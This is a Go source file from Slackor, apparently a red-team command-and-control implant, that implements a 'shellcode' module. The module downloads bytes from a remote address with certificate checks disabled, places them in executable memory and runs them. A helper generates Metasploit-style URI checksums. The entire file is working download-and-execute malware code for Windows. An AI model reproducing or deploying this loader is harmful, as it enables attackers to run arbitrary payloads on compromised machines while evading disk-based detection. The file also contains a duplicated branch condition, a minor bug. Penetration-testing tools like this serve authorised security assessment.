github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/windows/shellcode.go (about) 1 // +build windows 2 3 package windows 4 5 import ( 6 "crypto/tls" 7 "errors" 8 "io/ioutil" 9 "math/rand" 10 "net/http" 11 "os" 12 "runtime" 13 "strings" 14 "syscall" 15 "time" 16 "unsafe" 17 18 "github.com/Coalfire-Research/Slackor/internal/config" 19 "github.com/Coalfire-Research/Slackor/pkg/command" 20 ) 21 22 func calculateChecksum(Length int) string { //Creates a checksum, used for metasploit 23 for { 24 rand.Seed(time.Now().UTC().UnixNano()) 25 var Checksum string 26 var RandString string 27 for len(RandString) < Length { 28 Temp := rand.Intn(4) 29 if Temp == 1 { 30 RandString += string(48 + rand.Intn(57-48)) 31 } else if Temp == 1 { 32 RandString += string(65 + rand.Intn(90-65)) 33 } else if Temp == 3 { 34 RandString += string(97 + rand.Intn(122-97)) 35 } 36 Checksum = RandString 37 } 38 var Temp2 int = 0 39 for i := 0; i < len(Checksum); i++ { 40 Temp2 += int(Checksum[i]) 41 } 42 if (Temp2 % 0x100) == 92 { 43 return Checksum 44 } 45 } 46 } 47 48 // Initiates an HTTPS request to pull shellcode and execute it 49 func shellcode(address string, metasploit bool) error { 50 const ( 51 MEM_COMMIT = 0x1000 52 MEM_RESERVE = 0x2000 53 PAGE_EXECUTE_READWRITE = 0x40 54 ) 55 56 var ( 57 kernel32 = syscall.MustLoadDLL("kernel32.dll") 58 ntdll = syscall.MustLoadDLL("ntdll.dll") 59 VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 60 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 61 ) 62 if metasploit { 63 Checksum := calculateChecksum(12) 64 address += Checksum 65 } 66 67 http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} 68 69 client := &http.Client{} 70 req, err := http.NewRequest("GET", address, nil) 71 if err != nil { 72 return err 73 } 74 if strings.Contains(address, "slack.com") { 75 req.Header.Set("Authorization", "Bearer "+config.Token) 76 } 77 Response, err := client.Do(req) 78 if err != nil { 79 return err 80 } 81 shellcode, _ := ioutil.ReadAll(Response.Body) 82 if len(os.Args) > 1 { 83 shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) 84 if err != nil { 85 return err 86 } 87 shellcode = shellcodeFileData 88 } 89 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 90 if addr == 0 { 91 return errors.New("can't allocate memory") 92 } 93 if err != nil { 94 return err 95 } 96 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 97 if err != nil { 98 return err 99 } 100 syscall.Syscall(addr, 0, 0, 0, 0) 101 return nil 102 } 103 104 // Shellcode retrieves shellcode and executes it 105 type Shellcode struct{} 106 107 // Name is the name of the command 108 func (s Shellcode) Name() string { 109 return "shellcode" 110 } 111 112 // Run retrieves shellcode and executes it 113 func (s Shellcode) Run(clientID string, jobID string, args []string) (string, error) { 114 if len(args) != 1 { 115 return "", errors.New("shellcode takes 1 argument") 116 } 117 if runtime.GOARCH != "386" { 118 address := args[0] 119 err := shellcode(address, false) 120 if err != nil { 121 return "", err 122 } 123 } else { 124 return "", errors.New("shellcode module does not work on 32-bit agents") 125 } 126 return "Shellcode executed.", nil 127 } 128 129 func init() { 130 command.RegisterCommand(Shellcode{}) 131 }